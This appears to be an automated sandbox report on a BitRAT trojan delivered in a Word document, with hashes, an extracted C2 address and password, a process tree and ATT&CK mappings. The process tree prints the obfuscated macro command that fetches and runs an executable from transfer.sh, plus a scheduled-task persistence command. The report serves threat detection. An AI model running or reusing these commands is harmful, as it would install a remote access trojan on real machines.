bitrat | 17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b

General

Target

17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b.doc
Size

191KB
MD5

68297123bc1ddbbd9336aa121a9dd534
SHA1

2d8016319edb893e0ae600ba8c89f00a30466967
SHA256

17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b
SHA512

29e3e9e7e8a1b5c9fd54d97379e7f73cc2ee8174b950d7bf1b44f6f129893d6dec64c8ddb63f071184ea93bc88f1e5b7d0e1f99304c4af54f42af9042f6d092b
SSDEEP

3072:SbiyWTxSoVHpNY6nemhInf/va46YP6z+dzL:miyWTwoVHp6m0/yl6H9L

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1220	852	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

45 1228 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

dx5ys.exedx5ys.exe

pid process

4644 dx5ys.exe
4568 dx5ys.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

dx5ys.exe

description pid process target process

PID 4644 set thread context of 4568 4644 dx5ys.exe dx5ys.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1368 4568 WerFault.exe dx5ys.exe

flow	pid	process
45	1228	powershell.exe

pid	process
4644	dx5ys.exe
4568	dx5ys.exe

description	pid	process	target process
PID 4644 set thread context of 4568	4644	dx5ys.exe	dx5ys.exe

pid	pid_target	process	target process
1368	4568	WerFault.exe	dx5ys.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4220 schtasks.exe

pid	process
4220	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

852 WINWORD.EXE
852 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1228 powershell.exe
1228 powershell.exe
1228 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1228 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

852 WINWORD.EXE
852 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

852 WINWORD.EXE
852 WINWORD.EXE
852 WINWORD.EXE
852 WINWORD.EXE
852 WINWORD.EXE
852 WINWORD.EXE
852 WINWORD.EXE

pid	process
852	WINWORD.EXE
852	WINWORD.EXE

pid	process
1228	powershell.exe
1228	powershell.exe
1228	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1228	powershell.exe

pid	process
852	WINWORD.EXE
852	WINWORD.EXE

pid	process
852	WINWORD.EXE
852	WINWORD.EXE
852	WINWORD.EXE
852	WINWORD.EXE
852	WINWORD.EXE
852	WINWORD.EXE
852	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exedx5ys.execmd.exe

description	pid	process	target process
PID 852 wrote to memory of 1220	852	WINWORD.EXE	cmd.exe
PID 852 wrote to memory of 1220	852	WINWORD.EXE	cmd.exe
PID 1220 wrote to memory of 1228	1220	cmd.exe	powershell.exe
PID 1220 wrote to memory of 1228	1220	cmd.exe	powershell.exe
PID 1228 wrote to memory of 4644	1228	powershell.exe	dx5ys.exe
PID 1228 wrote to memory of 4644	1228	powershell.exe	dx5ys.exe
PID 1228 wrote to memory of 4644	1228	powershell.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4568	4644	dx5ys.exe	dx5ys.exe
PID 4644 wrote to memory of 4512	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 4512	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 4512	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 1660	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 1660	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 1660	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 380	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 380	4644	dx5ys.exe	cmd.exe
PID 4644 wrote to memory of 380	4644	dx5ys.exe	cmd.exe
PID 1660 wrote to memory of 4220	1660	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 4220	1660	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 4220	1660	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17cfb90deb531e2068d99e671423d8d1bcf8f06a0e2666f0108ca8e8b706dd1b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\dx5ys.exe;C:\Users\Public\dx5ys.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1228

C:\Users\Public\dx5ys.exe
"C:\Users\Public\dx5ys.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4644

C:\Users\Public\dx5ys.exe
"C:\Users\Public\dx5ys.exe"
5⤵
- Executes dropped EXE
PID:4568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 188
6⤵
- Program crash
PID:1368

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\dx5ys.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
5⤵
PID:380

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
6⤵
- Creates scheduled task(s)
PID:4220

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
5⤵
PID:4512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4568 -ip 4568
1⤵
PID:3544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3osvlzg2.u0q.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\dx5ys.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
memory/852-12-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-8-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-7-0x00007FF8007D0000-0x00007FF8007E0000-memory.dmp

Filesize
64KB

Download
memory/852-5-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-9-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-10-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-11-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-0-0x00007FF8007D0000-0x00007FF8007E0000-memory.dmp

Filesize
64KB

Download
memory/852-13-0x00007FF7FE250000-0x00007FF7FE260000-memory.dmp

Filesize
64KB

Download
memory/852-14-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-15-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-16-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-17-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-18-0x00007FF7FE250000-0x00007FF7FE260000-memory.dmp

Filesize
64KB

Download
memory/852-28-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/852-44-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-30-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/852-3-0x00007FF8007D0000-0x00007FF8007E0000-memory.dmp

Filesize
64KB

Download
memory/852-2-0x00007FF8007D0000-0x00007FF8007E0000-memory.dmp

Filesize
64KB

Download
memory/852-4-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-1-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-6-0x00007FF8007D0000-0x00007FF8007E0000-memory.dmp

Filesize
64KB

Download
memory/852-29-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/852-45-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-46-0x00007FF840750000-0x00007FF840945000-memory.dmp

Filesize
2.0MB

Download
memory/852-48-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/852-54-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/852-55-0x00000206E6A20000-0x00000206E79F0000-memory.dmp

Filesize
15.8MB

Download
memory/1228-31-0x00007FF813490000-0x00007FF813F51000-memory.dmp

Filesize
10.8MB

Download
memory/1228-57-0x00000261726C0000-0x00000261726D0000-memory.dmp

Filesize
64KB

Download
memory/1228-43-0x00000261726C0000-0x00000261726D0000-memory.dmp

Filesize
64KB

Download
memory/1228-66-0x00007FF813490000-0x00007FF813F51000-memory.dmp

Filesize
10.8MB

Download
memory/1228-56-0x00007FF813490000-0x00007FF813F51000-memory.dmp

Filesize
10.8MB

Download
memory/1228-38-0x0000026172690000-0x00000261726B2000-memory.dmp

Filesize
136KB

Download
memory/1228-32-0x00000261726C0000-0x00000261726D0000-memory.dmp

Filesize
64KB

Download
memory/4568-82-0x0000000000C30000-0x0000000000FFE000-memory.dmp

Filesize
3.8MB

Download
memory/4568-77-0x0000000000C30000-0x0000000000FFE000-memory.dmp

Filesize
3.8MB

Download
memory/4568-72-0x0000000000C30000-0x0000000000FFE000-memory.dmp

Filesize
3.8MB

Download
memory/4644-69-0x0000000006200000-0x00000000067A4000-memory.dmp

Filesize
5.6MB

Download
memory/4644-78-0x0000000074FF0000-0x00000000757A0000-memory.dmp

Filesize
7.7MB

Download
memory/4644-70-0x00000000036A0000-0x00000000036B0000-memory.dmp

Filesize
64KB

Download
memory/4644-67-0x0000000074FF0000-0x00000000757A0000-memory.dmp

Filesize
7.7MB

Download
memory/4644-68-0x0000000000EE0000-0x00000000012B8000-memory.dmp

Filesize
3.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads